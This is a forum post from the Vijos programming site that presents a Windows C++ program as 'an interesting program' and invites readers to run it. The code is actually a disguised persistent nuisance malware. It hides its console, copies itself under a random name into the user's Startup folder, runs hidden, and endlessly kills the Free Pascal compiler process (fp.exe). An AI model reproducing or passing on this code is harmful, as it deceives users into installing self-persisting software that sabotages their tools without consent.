/ Vijos / 讨论 / 编程 /

一個有趣的程序

請在Windows上運行

#include <cmath>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <iomanip>
#include <iostream>
#include <algorithm>
#include <vector>
#include <deque>
#include <set>
#include <limits>
#include <string>
#include <sstream>
#include <thread>
#include <windows.h>
using namespace std;

namespace stoppascal
{
    typedef long long ll;
    
    const ll maxnamesize=20;
    const ll maxasc=255;
    const ll maxsize=1000;
    const ll waittime=100;
    string pascalname="fp.exe";
    string stoppascalstr="stoppascal";
    string startupfiles="C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
    
    char copyedfile[maxsize];
    char para[maxsize][maxsize];
    #define prog para[0]
    
    void hide()
    {
        HWND hwnd=FindWindow("ConsoleWindowClass",0);
        if (hwnd)
            ShowWindow(hwnd,SW_HIDE);
    }
    
    string setstartupfiles()
    {
        char username[maxsize];
        memset(username,0,sizeof(username));
        DWORD dwsize=(1<<8);
        GetUserName(username,&dwsize);
        char s[maxsize];
        memset(s,0,sizeof(s));
        sprintf(s,startupfiles.c_str(),username);
        string ans=s;
        return ans;
    }
    
    ll strsize(char *s)
    {
        return (ll)(sizeof(char))*strlen(s);
    }
    
    ll random(ll range)
    {
        return rand()%range;
    }
    
    ll checkchar(char c)
    {
        if ('0'<=c&&c<='9')
            return 1;
        else if ('A'<=c&&c<='Z')
            return 1;
        else if ('a'<=c&&c<='z')
            return 1;
        else
            return 0;
    }
    
    char randomchar()
    {
        ll ans=random(maxasc)+1;
        while (checkchar(ans)==0)
            ans=random(maxasc)+1;
        return (char)(ans);
    }
    
    void copyfile()
    {
        srand(time(0));
        ll ssize=random(maxnamesize)+1;
        char s[maxnamesize+10];//because ".exe"
        memset(s,0,sizeof(s));
        for (ll i=0;i<ssize;i++)
            s[i]=randomchar();
        s[ssize++]='.';
        s[ssize++]='e';
        s[ssize++]='x';
        s[ssize++]='e';
        char o[maxsize];
        memset(o,0,sizeof(o));
        sprintf(o,"copy \"%s\" \"%s\\%s\"",prog,startupfiles.c_str(),s);
        system(o);
        memset(copyedfile,0,sizeof(copyedfile));
        sprintf(copyedfile,"%s\\%s",startupfiles.c_str(),s);
    }
    
    void execute()
    {
        char o[maxsize];
        memset(o,0,sizeof(o));
        sprintf(o,"%s %s",copyedfile,stoppascalstr.c_str());
        WinExec(o,SW_HIDE);
    }
    
    void main(int argc,char *argv[])
    {
        hide();
        startupfiles=setstartupfiles();
        memset(para,0,sizeof(para));
        for (ll i=0;i<argc;i++)
            memcpy(para[i],argv[i],strsize(argv[i]));
        if (argc==1)
        {
            char s[maxsize];
            memset(s,0,sizeof(s));
            sprintf(s,"%s",prog);
            for (ll i=strlen(s)-1;i>=0&&s[i]!='\\';i--)
                s[i]=0;
            s[strlen(s)-1]=0;
            if (strcmp(s,startupfiles.c_str())!=0)
                copyfile();
            else
                memcpy(copyedfile,prog,strsize(prog));
            execute();
        }
        else if (argc==2&&strcmp(para[1],stoppascalstr.c_str())==0)
        {
            char o[maxsize];
            memset(o,0,sizeof(o));
            sprintf(o,"taskkill /im %s /f",pascalname.c_str());
            while (1)
            {
                system(o);
                Sleep(waittime);
            }
        }
    }
};

int main(int argc,char *argv[])
{
    stoppascal::main(argc,argv);
}

3 条评论

  • 1